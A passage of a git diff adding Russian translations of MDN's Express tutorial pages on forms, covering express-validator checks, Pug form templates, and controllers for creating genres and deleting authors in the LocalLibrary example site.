specifies an <em>array</em> of middleware functions. The array is passed to the router function and each method is called in order.</p> + +<div class="note"> +<p><strong>Note:</strong> This approach is needed, because the sanitisers/validators are middleware functions.</p> +</div> + +<p>The first method in the array defines a validator (<code>validator.body()</code>) from the <code>validator</code> module to check that the <em>name</em> field is not empty (calling <code>trim()</code> to remove any trailing/leading whitespace before performing the validation). The second method in the array (<code>validator.sanitizeBody()</code>) creates a sanitizer to <code>escape()</code> any dangerous HTML characters in the <em>name</em> field.</p> + +<pre class="brush: js">// Validate that the name field is not empty. +validator<code>.</code>body('name', 'Genre name required').isLength({ min: 1 }).trim(), + +// Sanitize (escape) the name field. +validator.sanitizeBody('name').escape()</pre> + +<p>After specifying the validators and sanitizers we create a middleware function to extract any validation errors. We use <code>isEmpty()</code> to check whether there are any errors in the validation result. If there are then we render the form again, passing in our sanitised genre object and the array of error messages (<code>errors.array()</code>).</p> + +<pre class="brush: js">// Process request after validation and sanitization. +(req, res, next) => { + + // Extract the validation errors from a request. + const errors = validator.validationResult(req); + + // Create a genre object with escaped and trimmed data. + var genre = new Genre( + { name: req.body.name } + ); + + if (!errors.isEmpty()) { + // There are errors. Render the form again with sanitized values/error messages. + res.render('genre_form', { title: 'Create Genre', genre: genre, errors: errors.array()}); + return; + } + else { + // Data from form is valid. + ... <save the result/> ... + } +};</pre> + +<p>If the genre name data is valid then we check if a <code>Genre</code> with the same name already exists (as we don't want to create duplicates). If it does, we redirect to the existing genre's detail page. If not, we save the new <code>Genre</code> and redirect to its detail page.</p> + +<pre class="brush: js">// Check if Genre with same name already exists. +Genre.findOne({ 'name': req.body.name }) + .exec( function(err, found_genre) { + if (err) { return next(err); } + if (found_genre) { + // Genre exists, redirect to its detail page. + res.redirect(found_genre.url); + } + else { + genre.save(function (err) { + if (err) { return next(err); } + // Genre saved. Redirect to genre detail page. + res.redirect(genre.url); + }); + } +});</pre> + +<p>This same pattern is used in all our post controllers: we run validators, then sanitisers, then check for errors and either re-render the form with error information or save the data. </p> + +<h2 id="View">View</h2> + +<p>The same view is rendered in both the <code>GET</code> and <code>POST</code> controllers/routes when we create a new <code>Genre</code> (and later on it is also used when we <em>update</em> a <code>Genre</code>). In the <code>GET</code> case the form is empty, and we just pass a title variable. In the <code>POST</code> case the user has previously entered invalid data—in the <code>genre</code> variable we pass back a sanitized version of the entered data and in the <code>errors</code> variable we pass back an array of error messages.</p> + +<pre class="brush: js">res.render('genre_form', { title: 'Create Genre'}); +res.render('genre_form', { title: 'Create Genre', genre: genre, errors: errors.array()});</pre> + +<p>Create <strong>/views/genre_form.pug</strong> and copy in the text below.</p> + +<pre class="brush: html">extends layout + +block content + h1 #{title} + + form(method='POST' action='') + div.form-group + label(for='name') Genre: + input#name.form-control(type='text', placeholder='Fantasy, Poetry etc.' name='name' value=(undefined===genre ? '' : genre.name)) + button.btn.btn-primary(type='submit') Submit + + if errors + ul + for error in errors + li!= error.msg</pre> + +<p>Much of this template will be familiar from our previous tutorials. First, we extend the <strong>layout.pug</strong> base template and override the <code>block</code> named '<strong>content</strong>'. We then have a heading with the <code>title</code> we passed in from the controller (via the <code>render()</code> method).</p> + +<p>Next, we have the pug code for our HTML form that uses the <code>POST</code> <code>method</code> to send the data to the server, and because the <code>action</code> is an empty string, will send the data to the same URL as the page.</p> + +<p>The form defines a single required field of type "text" called "name". The default <em>value</em> of the field depends on whether the <code>genre</code> variable is defined. If called from the <code>GET</code> route it will be empty as this is a new form. If called from a <code>POST</code> route it will contain the (invalid) value originally entered by the user.</p> + +<p>The last part of the page is the error code. This simply prints a list of errors, if the error variable has been defined (in other words, this section will not appear when the template is rendered on the <code>GET</code> route).</p> + +<div class="note"> +<p><strong>Note:</strong> This is just one way to render the errors. You can also get the names of the affected fields from the error variable, and use these to control where the error messages are rendered, whether to apply custom CSS, etc.</p> +</div> + +<h2 id="What_does_it_look_like">What does it look like?</h2> + +<p>Run the application, open your browser to <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>, then select the <em>Create new genre </em>link. If everything is set up correctly, your site should look something like the following screenshot. After you enter a value, it should be saved and you'll be taken to the genre detail page.</p> + +<p><img alt="Genre Create Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14476/LocalLibary_Express_Genre_Create_Empty.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 800px;"></p> + +<p>The only error we validate against server-side is that the genre field must not be empty. The screenshot below shows what the error list would look like if you didn't supply a genre (highlighted in red).</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14480/LocalLibary_Express_Genre_Create_Error.png" style="border-style: solid; border-width: 1px; display: block; height: 249px; margin: 0px auto; width: 400px;"></p> + +<div class="note"> +<p><strong>Note:</strong> Our validation uses <code>trim()</code> to ensure that whitespace is not accepted as a genre name. We can also validate that the field is not empty on the client side by adding the value <code>required='true'</code> to the field definition in the form:</p> + +<pre class="brush: js">input#name.form-control(type='text', placeholder='Fantasy, Poetry etc.' name='name' value=(undefined===genre ? '' : genre.name), <strong>required='true'</strong> )</pre> +</div> + +<h2 id="Next_steps">Next steps</h2> + +<ol> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms.</a></li> + <li>Proceed to the next sub article of part 6: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_author_form">Create Author form</a>.</li> +</ol> diff --git a/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html new file mode 100644 index 0000000000..0e0fa6cdf3 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html @@ -0,0 +1,165 @@ +--- +title: Delete Author form +slug: Learn/Server-side/Express_Nodejs/forms/Delete_author_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Delete_author_form +--- +<p>В этой статье показано, как определить страницу для удаления объектов <code>Author</code>.</p> + +<p>Как описано в разделе <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms#form_design">form design</a>, наша стратегия будет заключаться в том, чтобы разрешить удаление только объектов, на которые не ссылаются другие объекты(в этом случае это означает, что мы не позволим <code>Author</code> быть удаленным, если на него ссылается <code>Book</code>). С точки зрения реализации это означает, что форма должна подтвердить, что нет никаких связанных книг, прежде чем автор будет удален. Если есть связанные книги, то они должны отображаться и быть удалены до того, как будеет удален объект <code>Author</code>.</p> + +<h2 class="highlight-spanned" id="Controller—get_route">Controller—get route</h2> + +<p>Откройте <strong>/controllers/authorController.js</strong>. Найдите экспротируемый метод контроллера <code>author_delete_get()</code> и замените его на слдеующий код.</p> + +<pre><code class="language-js">// Отображать форму для удаления автора GET +exports.author_delete_get = function(req, res, next) { + + async.parallel({ + author: function(callback) { + Author.findById(req.params.id).exec(callback) + }, + authors_books: function(callback) { + Book.find({ 'author': req.params.id }).exec(callback) + }, + }, function(err, results) { + if (err) { return next(err); } + if (results.author==null) { // No results. + res.redirect('/catalog/authors'); + } + // </code>Удачно, значит рендерим.<code class="language-js"> + res.render('author_delete', { title: 'Delete Author', author: results.author, author_books: results.authors_books } ); + }); + +};</code></pre> + +<p>TКонтроллер получает id экземпляра <code>Author</code> для удаления из параметра URL (<code>req.params.id</code>). Он использует метод <code>async.parallel()</code> , чтобы получить запись автра и паралельнно вс связанные книги. WКогда оба пораметра авершины, он рендерит страницу <code><strong>author_delete</strong></code><strong>.pug</strong>, передает значения для <code>title</code>, <code>author</code>, и <code>author_books</code>.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Если <code>findById()</code><strong> </strong>не возвращает результатов, то автор отсутствует в базе данных. В этом случае удалять нечего, поэтому сразу выводим список всех авторов.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">}, function(err, results) { + if (err) { return next(err); } + if (results.author==null) { // No results. + res.redirect('/catalog/authors') + }</code></pre> +</div> + +<h2 class="highlight-spanned" id="Controller—post_route">Controller—post route</h2> + +<p>Найдите экспортируемый метод контроллера <code>author_delete_post()</code> и замените его на следующий код.</p> + +<pre><code class="language-js">// Обработчик удаления автора POST. +exports.author_delete_post = function(req, res, next) { + + async.parallel({ + author: function(callback) { + Author.findById(req.body.authorid).exec(callback) + }, + authors_books: function(callback) { + Book.find({ 'author': req.body.authorid }).exec(callback) + }, + }, function(err, results) { + if (err) { return next(err); } + // Success + if (results.authors_books.length > 0) { + // </code>Автор книги. Визуализация выполняется так же, как и для GET route.<code class="language-js"> + res.render('author_delete', { title: 'Delete Author', author: results.author, author_books: results.authors_books } ); + return; + } + else { + </code>//У автора нет никаких книг. Удалить объект и перенаправить в список авторов.<code class="language-js"> + Author.findByIdAndRemove(req.body.authorid, function deleteAuthor(err) { + if (err) { return next(err); } + // </code>Успех-перейти к списку авторов<code class="language-js"> + res.redirect('/catalog/authors') + }) + } + }); +};</code></pre> + +<p>Сначала мы проверяем, что был предоставлен id (он отправляется через параметры тела формы, а не через версию в URL). Затем мы получаем автора и связанные с ним книги так же, как и для маршрута <code>GET</code>. Если книг нет, то удаляем объект автора и перенаправляем в список всех авторов. Если есть еще книги, то мы просто перерисовываем форму, передавая автора и список книг, которые нужно удалить.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Мы можем проверить, возвращает ли вызов <code>findbyid ()</code> какой-либо результат, и если нет, немедленно отобразить список всех авторов.Для краткости мы оставили код как есть выше (он все равно вернет список авторов, если id не будет найден, но это произойдет после <code>findByIdAndRemove()</code>).</p> +</div> + +<h2 class="highlight-spanned" id="View">View</h2> + +<p>Создайте <strong>/views/author_delete.pug</strong> и скопируйет текст ниже.</p> + +<pre class="line-numbers language-html"><code class="language-html">extends layout + +block content + h1 #{title}: #{author.name} + p= author.lifespan + + if author_books.length + + p #[strong Delete the following books before attempting to delete this author.] + + div(style='margin-left:20px;margin-top:20px') + + h4 Books + + dl + each book in author_books + dt + a(href=book.url) #{book.title} + dd #{book.summary} + + else + p Do you really want to delete this Author? + + form(method='POST' action='') + div.form-group + input#authorid.form-control(type='hidden',name='authorid', required='true', value=author._id ) + + button.btn.btn-primary(type='submit') Delete</code></pre> + +<p>Представление расширяет шаблон макета, переопределяя блок с именем <code>content</code>. Вверху отображаются сведения об авторе. Затем он включает условный оператор, основанный на количестве <code><strong>author_books</strong></code> (пункты <code>if</code> и <code>else</code> ).</p> + +<ul> + <li>Если есть книги, связанные с автором, то на странице перечислены книги и говорится, что они должны быть удалены, прежде чем этот <code>Author</code> может быть удален.</li> + <li>Если книг нет, на странице отображается запрос на подтверждение. Если нажать кнопку <strong>Delete</strong>, то id автора будет отправлен на сервер в <code>POST</code>-запросе, и запись этого автора будет удалена.</li> +</ul> + +<h2 class="highlight-spanned" id="Добавление_элемента_управления_delete">Добавление элемента управления delete</h2> + +<p>Затем мы добавим элемент управления <code>Delete</code> в представление сведений об авторе (страница сведений-хорошее место для удаления записи).</p> + +<div class="note"> +<p><strong>Note:</strong> В полном объеме контроль будет доступен только авторизованным пользователям. Однако на данный момент у нас нет системы авторизации!</p> +</div> + +<p>Откройте <strong>author_detail.pug</strong> и добавьте следующие строки внизу.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">hr +p + a(href=author.url+'/delete') Delete author</code></pre> + +<p>Теперь элемент управления должен отображаться в виде ссылки, как показано ниже на странице сведений об авторе.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14492/LocalLibary_Express_Author_Detail_Delete.png" style="border-style: solid; border-width: 1px; display: block; height: 202px; margin: 0px auto; width: 500px;"></p> + +<h2 class="highlight-spanned" id="Как_это_выглядит">Как это выглядит?</h2> + +<p>Запустите приложение и откройте в вашем браузере <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Затем раздел <em>All authors </em>, а затем укажите конктретного пользователя. Наконец, выберите ссылку <em>Delete author</em>.</p> + +<p>Если у автора нет книг, вам будет представлена такая страница. После нажатия клавиши delete сервер удалит автора и перенаправит в список авторов</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14494/LocalLibary_Express_Author_Delete_NoBooks.png" style="border-style: solid; border-width: 1px; display: block; height: 342px; margin: 0px auto; width: 600px;"></p> + +<p>Если у автора есть книги, то вам будет представлен следующий вид. Затем вы можете удалить книги из их подробных страниц (как только этот код будет реализован!).</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14496/LocalLibary_Express_Author_Delete_WithBooks.png" style="border-style: solid; border-width: 1px; display: block; height: 327px; margin: 0px auto; width: 500px;"></p> + +<div class="note"> +<p><strong>Note:</strong> Другие страницы для удаления объектов могут быть реализованы примерно таким же образом. Мы оставили это как задачи.</p> +</div> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a>.</li> + <li>Proceed to the final subarticle of part 6: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Update_Book_form">Update Book form</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/forms/index.html b/files/ru/learn/server-side/express_nodejs/forms/index.html new file mode 100644 index 0000000000..f877a6015c --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/forms/index.html @@ -0,0 +1,269 @@ +--- +title: 'Учебник Express часть 6: Работа с формами' +slug: Learn/Server-side/Express_Nodejs/forms +tags: + - Начинающим + - Сервер + - Формы +translation_of: Learn/Server-side/Express_Nodejs/forms +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs/deployment", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">В этой главе мы покажем Вам как работать с HTML формами в Express, используя Pug, и в частности как написать формы для создания, обновления и удаления документов из базы данных.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Предварительные знания:</th> + <td>Завершите изучение предыдущих тем учебника, включая <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Учебник Express Часть 5: Отображение данных библиотеки</a></td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понять, как писать формы для получения данных от пользователей и обновлять базу данных с этими данными.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форма</a> - это группа из одного или нескольких полей / виджетов на веб-странице, которая может использоваться для сбора информации от пользователей для отправки на сервер. Формы представляют собой гибкий механизм для сбора данных, вводимых пользователем, поскольку существуют подходящие входные данные форм, доступные для ввода различных типов данных-текстовые поля, флажки, переключатели, средства выбора даты и т. д. Формы также являются относительно безопасным способом обмена данными с сервером, поскольку они позволяют отправлять данные в запросах <code>POST</code> с защитой от подделки межсайтовых запросов.</p> + +<p>Работа с формами может быть сложной! Разработчику нужно написать HTML код для форм, валидацию и правильно анализировать введенные данные на сервере (и, возможно, также в браузере), отобразить форму с сообщениями об ошибках, чтобы сообщить пользователям о любых недопустимых полях, обработать данные, когда они были успешно отправлены, и, наконец, каким-то образом ответить пользователю о том, что результат успешен.</p> + +<p>В этом уроке мы покажем вам, как вышеуказанные операции могут быть выполнены в <em>Express</em>. По пути мы расширим веб-сайт <em>LocalLibrary</em>, чтобы пользователи могли создавать, редактировать и удалять элементы из библиотеки.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Мы не рассматривали, как ограничить определенные маршруты аутентифицированными или авторизованными пользователями, поэтому на данный момент любой пользователь сможет вносить изменения в базу данных.</p> +</div> + +<h3 id="HTML_Forms">HTML Forms</h3> + +<p>Первый краткий обзор <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>. Рассмотрим простую HTML-форму с одним текстовым полем для ввода имени некоторой "команды" и связанной с ней меткой:</p> + +<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p> + +<p>Определенные в HTML формы собираются внутри тэга <code><form>...</form></code>, содержащего хтя ы один элемент <code>input</code> с <code>type="submit"</code>.</p> + +<pre class="brush: html notranslate"><form action="/team_name_url/" method="post"> + <label for="team_name">Enter name: </label> + <input id="team_name" type="text" name="name_field" value="Default name for team."> + <input type="submit" value="OK"> +</form></pre> + +<p>Хотя здесь мы включили только одно (текстовое) поле для ввода имени команды, форма может содержать любое количество других элементов ввода и связанных с ними меток. Атрибут <code>type</code> определяет какой из <a href="/ru/docs/Learn/HTML/Forms/Стандартные_виджеты_форм">виджетов</a> будет выбран для отображения поля. Атрибуты <code>name</code> и <code>id</code> идентифицируют поле в JavaScript/CSS/HTML, а <code>value</code> определяет его первоначальное значение. Связанная с полем метка, задается с помощью тега <code style="font-style: normal; font-weight: normal;">label</code> (располгается строкой выше и содержит в себе подпись "Enter name"). Связь метки и поля ввода устанавливается при помощи атрибута <code>for</code>, в котором указывается значение идентификатора поля (<code>input</code> <code>id</code>).</p> + +<p>Input <code>submit </code>будет отображаться в виде кнопки (по умолчанию) - он может быть нажат пользователем, чтобы загрузить данные, содержащиеся в других входных элементов на сервер (в данном случае, только team_name). Атрибуты формы определяют метод HTTP, используемый для отправки данных, и назначение данных на сервере (action):</p> + +<ul> + <li><code>action</code>: ресурс/URL-адрес, по которому данные должны отправляться на обработку при отправке формы. Если это не установлено (или установлено в пустую строку), то форма будет отправлена назад к URL текущей страницы.</li> + <li><code>method</code>: Метод HTTP, используемый для отправки данных: <code>POST</code> or <code>GET</code>. + <ul> + <li>Метод <code>POST</code> должен всегда использоваться, если данные собираются привести к изменению базы данных сервера, потому что это может быть сделано более устойчивым к атакам запроса подделки межсайтового.</li> + <li>Метод <code>GET</code> следует использовать только для форм, которые не изменяют пользовательские данные (например, форма поиска). Рекомендуется, когда вы хотите, чтобы иметь возможность делать закладки или поделиться URL.</li> + </ul> + </li> +</ul> + +<h3 id="Процесс_обработки_формы">Процесс обработки формы</h3> + +<p>Обработка форм использует все те же методы, которые мы изучили для отображения информации о наших моделях: маршрут отправляет запрос в функцию контроллера, которая выполняет все необходимые действия с базой данных, включая чтение данных из моделей, а затем генерирует и возвращает HTML-страницу. Что усложняет ситуацию, так это то, что сервер также должен иметь возможность обрабатывать данные, предоставленные пользователем, и повторно отображать форму с информацией об ошибках, если есть какие-либо проблемы.</p> + +<p>Блок-схема процесса обработки запросов формы показана ниже, начиная с запроса страницы, содержащей форму (показана зеленым цветом):</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14478/Web%20server%20form%20handling.png" style="height: 649px; width: 800px;"></p> + +<p>Как показано на диаграмме выше, основные действия, которые необходимо выполнить коду обработки форм:</p> + +<ol> + <li>Отображение формы по умолчанию при первом запросе пользователем. + <ul> + <li>Форма может содержать пустые поля (например, если вы создаете новую запись), или она может быть предварительно заполнена начальными значениями (например, если вы изменяете запись или имеете полезные начальные значения по умолчанию).</li> + </ul> + </li> + <li>Получение данных, отправленных пользователем, обычно в запросе HTTP <code>POST</code>.</li> + <li>Валидация и очистка данных.</li> + <li>Если какие-либо данные недопустимы, повторно отобразите форму—на этот раз с заполненными пользователем значениями и сообщениями об ошибках для проблемных полей</li> + <li>Если все данные верны, выполнить требуемые действия (например, сохранить данные в базе данных, отправьте уведомление по электронной почте, возвращающие результат поиска, загрузить файл и т. д.)</li> + <li>После завершения всех действий перенаправьте пользователя на другую страницу.</li> +</ol> + +<p>Часто код обработки формы реализуется с помощью <code>GET </code>route для начального отображения формы и <code>POST </code>route к тому же пути для обработки проверки и обработки данных формы. Это подход, который будет использоваться в этом уроке!</p> + +<p>Сам Express не предоставляет какой-либо конкретной поддержки для операций обработки форм, но он может использовать промежуточное программное обеспечение для обработки <code>POST</code> и <code>GET</code> параметров из формы, а также для проверки/очистки их значений.</p> + +<h3 id="Валидация_и_обработка">Валидация и обработка</h3> + +<p>Перед сохранением данных формы их необходимо проверить и очистить:</p> + +<ul> + <li>Проверка проверяет, что введенные значения являются подходящими для каждого поля (расположены в правильном диапазоне, формат и т. д.) и что значения были предоставлены для всех обязательных полей.</li> + <li>Очистка удаляет / заменяет символы в данных, которые потенциально могут использоваться для отправки вредоносного содержимого на сервер.</li> +</ul> + +<p>В этом уроке мы будем использовать популярный модуль <a href="https://www.npmjs.com/package/express-validator">express-validator</a> для проверки и очистки данных формы.</p> + +<h4 id="Установка">Установка</h4> + +<p>Установите модуль, выполнив следующую команду в корне проекта</p> + +<pre class="brush: bash notranslate">npm install express-validator +</pre> + +<h4 id="Использование_express-validator">Использование express-validator</h4> + +<div class="note"> +<p><strong>Note:</strong> <a href="https://github.com/ctavan/express-validator#express-validator">express-validator</a> руководство на Github предоставляет хороший обзор API. Мы рекомендуем вам прочитать это, чтобы получить представление о всех его возможностях (включая создание пользовательских валидаторов). Ниже мы рассмотрим только подмножество, которое полезно для <em>LocalLibrary</em>.</p> +</div> + +<p>Для того, чтобы использовать валидатор в наших контроллерах, мы должны требовать функции, которые мы хотим использовать из модулей <strong>'express-validator/check</strong>' и <strong>'express-validator/filter</strong>', как показано ниже:</p> + +<pre class="brush: js notranslate">const { body,validationResult } = require('express-validator/check'); +const { sanitizeBody } = require('express-validator/filter'); +</pre> + +<p>Есть много доступных функций, позволяющих проверять и очищать данные из параметров запроса, тела, заголовков, файлов cookie и т. д., или все сразу. Для этого урока мы будем использовать <code>body</code>, <code>sanitizeBody</code>, and <code>validationResult</code> (как "требуется" выше).</p> + +<p>Функции определяются следующим образом:</p> + +<ul> + <li><code><a href="https://github.com/ctavan/express-validator#bodyfields-message">body(fields[, message])</a></code>: Задает набор полей в теле запроса (параметр <code>POST</code>) для проверки, а также необязательное сообщение об ошибке, которое может отображаться в случае сбоя тестов. Критерии проверки последовательно связаны с методом <code>body()</code>. Например, первая проверка ниже проверяет, что поле" имя "не пустое и задает сообщение об ошибке" пустое имя", если оно не пустое. Второй тест проверяет, что поле age является допустимой датой, и с помощью optional() указывает, что пустые и пустые строки не пройдут проверку. + + <pre class="brush: js notranslate">body('name', 'Empty name').isLength({ min: 1 }), +body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(), +</pre> + Можно также последовательно подключить различные валидаторы и добавить сообщения, отображаемые при выполнении предыдущих валидаторов.</li> + <li> + <pre class="brush: js notranslate">body('name').isLength({ min: 1 }).trim().withMessage('Name empty.') + .isAlpha().withMessage('Name must be alphabet letters.'), +</pre> + + <div class="note"> + <p><strong>Note:</strong> Вы также можете добавить встроенные средства очистки, такие как <code>trim()</code>, как показано выше. Однако средства очитски, применяемые здесь, применяются только к шагу проверки. Если требуется очистить конечный результат, необходимо использовать отдельный метод очистки, как показано ниже.</p> + </div> + </li> + <li><code><a href="https://github.com/ctavan/express-validator#sanitizebodyfields">sanitizeBody(fields)</a></code>: Задает поле тела для очистки. затем операции очистки последовательно соединяются с этим методом. Например, операция очистки <code>escape()</code>, описанная ниже, удаляет символы HTML из переменной name, которые могут использоваться в атаках сценариев между сайтами JavaScript. + <pre class="brush: js notranslate">sanitizeBody('name').trim().escape(), +sanitizeBody('date').toDate(),</pre> + </li> + <li><code><a href="https://github.com/ctavan/express-validator#validationresultreq">validationResult(req)</a></code>: Запускает проверку, делая ошибки доступными в виде объекта результата проверки. Это вызывается в отдельном обратном вызове, как показано ниже: + <pre class="brush: js notranslate">(req, res, next) => { + // Extract the validation errors from a request. + const errors = validationResult(req); + + if (!errors.isEmpty()) { + // There are errors. Render form again with sanitized values/errors messages. + // Error messages can be returned in an array using `errors.array()`. + } + else { + // Data from form is valid. + } +}</pre> + Мы используем метод <code>isEmpty()</code> результата проверки, чтобы проверить, были ли ошибки, и его метод array (), чтобы получить набор сообщений об ошибках. Дополнительные сведения см. в разделе API результатов проверки.</li> +</ul> + +<p>Цепочки проверки и очистки являются промежуточными запросами, которые должны быть переданы обработчику Express -маршрута (мы делаем это косвенно, через контроллер). При запуске промежуточного по каждый валидатор / средства очистки выполняется в указанном порядке..</p> + +<p>Мы рассмотрим некоторые реальные примеры, когда мы реализуем <em>LocalLibrary </em>формы ниже.</p> + +<h3 id="Дизайн_формы">Дизайн формы</h3> + +<p>Многие модели в библиотеке связаны / зависимы—например, книга требует автора, а также может иметь один или несколько жанров. Это поднимает вопрос о том, как мы должны обрабатывать случай, когда пользователь хочет:</p> + +<ul> + <li>Создайте объект, если связанные с ним объекты еще не существуют (например, книга, в которой не определен объект автора).</li> + <li>Удаление объекта, который все еще используется другим объектом (например, удаление жанра, который все еще используется книгой).</li> +</ul> + +<p>Для этого проекта мы упростили реализацию, объявив, что форма может быть только:</p> + +<ul> + <li>Создайте объект, используя объекты, которые уже существуют (таким образом, пользователи должны будут создать все необходимые экземпляры автора и жанра, прежде чем пытаться создать любые объекты книги).</li> + <li>Удалите объект, если на него не ссылаются другие объекты (например, Вы не сможете удалить книгу, пока не будут удалены все связанные объекты BookInstance).</li> +</ul> + +<div class="note"> +<p><strong>Note:</strong> Более" надежная " реализация может позволить создавать зависимые объекты при создании нового объекта и удалять любой объект в любое время (например, путем удаления зависимых объектов или путем удаления ссылок на удаленный объект из базы данных).</p> +</div> + +<h3 id="Маршруты">Маршруты</h3> + +<p>Чтобы реализовать наш код обработки форм, нам понадобятся два маршрута с одинаковым шаблоном URL. Первый (<code>GET</code>) маршрут используется для отображения новой пустой формы создания объекта. Второй маршрут (<code>POST</code>) используется для проверки введенных пользователем данных, а затем сохранения информации и перенаправления на страницу сведений (если данные верны) или повторного отображения формы с ошибками (если данные неверны).</p> + +<p>Мы уже создали маршруты для всех страниц создания нашей модели в <strong>/routes/catalog.js</strong> (in a <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">previous tutorial</a>). Например, жанровые маршруты показаны ниже:</p> + +<pre class="brush: js notranslate">// GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id). +router.get('/genre/create', genre_controller.genre_create_get); + +// POST request for creating Genre. +router.post('/genre/create', genre_controller.genre_create_post); +</pre> + +<h2 id="Express_формы_—_подразделы">Express формы — подразделы</h2> + +<p>В следующих подразделах мы добавим необходимые формы для нашего веб-сайта. Вы должны прочитать и проработать каждый из них по очереди, прежде чем перейти к следующему.</p> + +<ol> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_genre_form">Форма для создания Genre</a> — Определение нашей страницы для создания объектов <code>Genre</code>.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_author_form">Форма для cоздания Author</a> — Определение страницы для создания объектов <code>Author</code>.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_book_form">Форма для создания Book</a> — Определение страницы/формы для создания объектов <code>Book</code>.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form">Форма для создания BookInstance</a> — Определение страницы/формы для создания объектов <code>BookInstance</code>.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Delete_author_form">Форма для удаления Author</a> — Определение страницы для удаления объектов <code>Author</code>.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Update_Book_form">Форма для обновления Book</a> — Определение страницы для обновления объектов <code>Book</code>.</li> +</ol> + +<h2 id="Challenge_yourself">Challenge yourself</h2> + +<p>Implement the delete pages for the <code>Book</code>, <code>BookInstance</code>, and <code>Genre</code> models, linking them from the associated detail pages in the same way as our <em>Author delete </em>page. The pages should follow the same design approach:</p> + +<ul> + <li>If there are references to the object from other objects, then these other objects should be displayed along with a note that this record can't be deleted until the listed objects have been deleted.</li> + <li>If there are no other references to the object then the view should prompt to delete it. If the user presses the <strong>Delete</strong> button, the record should then be deleted.</li> +</ul> + +<p>A few tips:</p> + +<ul> + <li>Deleting a <code>Genre</code> is just like deleting an <code>Author</code> as both objects are dependencies of <code>Book</code> (so in both cases you can delete the object only when the associated books are deleted).</li> + <li>Deleting a <code>Book</code> is also similar, but you need to check that there are no associated <code>BookInstances</code>.</li> + <li>Deleting a <code>BookInstance</code> is the easiest of all, because there are no dependent objects. In this case you can just find the associated record and delete it.</li> +</ul> + +<p>Implement the update pages for the <code>BookInstance</code>, <code>Author</code>, and <code>Genre</code> models, linking them from the associated detail pages in the same way as our <em>Book update </em>page.</p> + +<p>A few tips:</p> + +<ul> + <li>The <em>Book update page</em> we just implemented is the hardest! The same patterns can be used for the update pages for the other objects.</li> + <li>The <code>Author</code> date of death and date of birth fields, and the <code>BookInstance</code> due_date field are the wrong format to input into the date input field on the form (it requires data in form "YYYY-MM-DD"). The easiest way to get around this is to define a new virtual property for the dates that formats the dates appropriately, and then use this field in the associated view templates.</li> + <li>If you get stuck, there are examples of the update pages in <a href="https://github.com/mdn/express-locallibrary-tutorial">the example here</a>.</li> +</ul> + +<h2 id="Summary">Summary</h2> + +<p><em>Express</em>, node, and third party packages on NPM provide everything you need to add forms to your website. In this article you've learned how to create forms using <em>Pug</em>, validate and sanitize input using <em>express-validator</em>, and add, delete, and modify records in the database.</p> + +<p>You should now understand how to add basic forms and form-handling code to your own node websites!</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://www.npmjs.com/package/express-validator">express-validator</a> (npm docs).</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs/deployment", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library 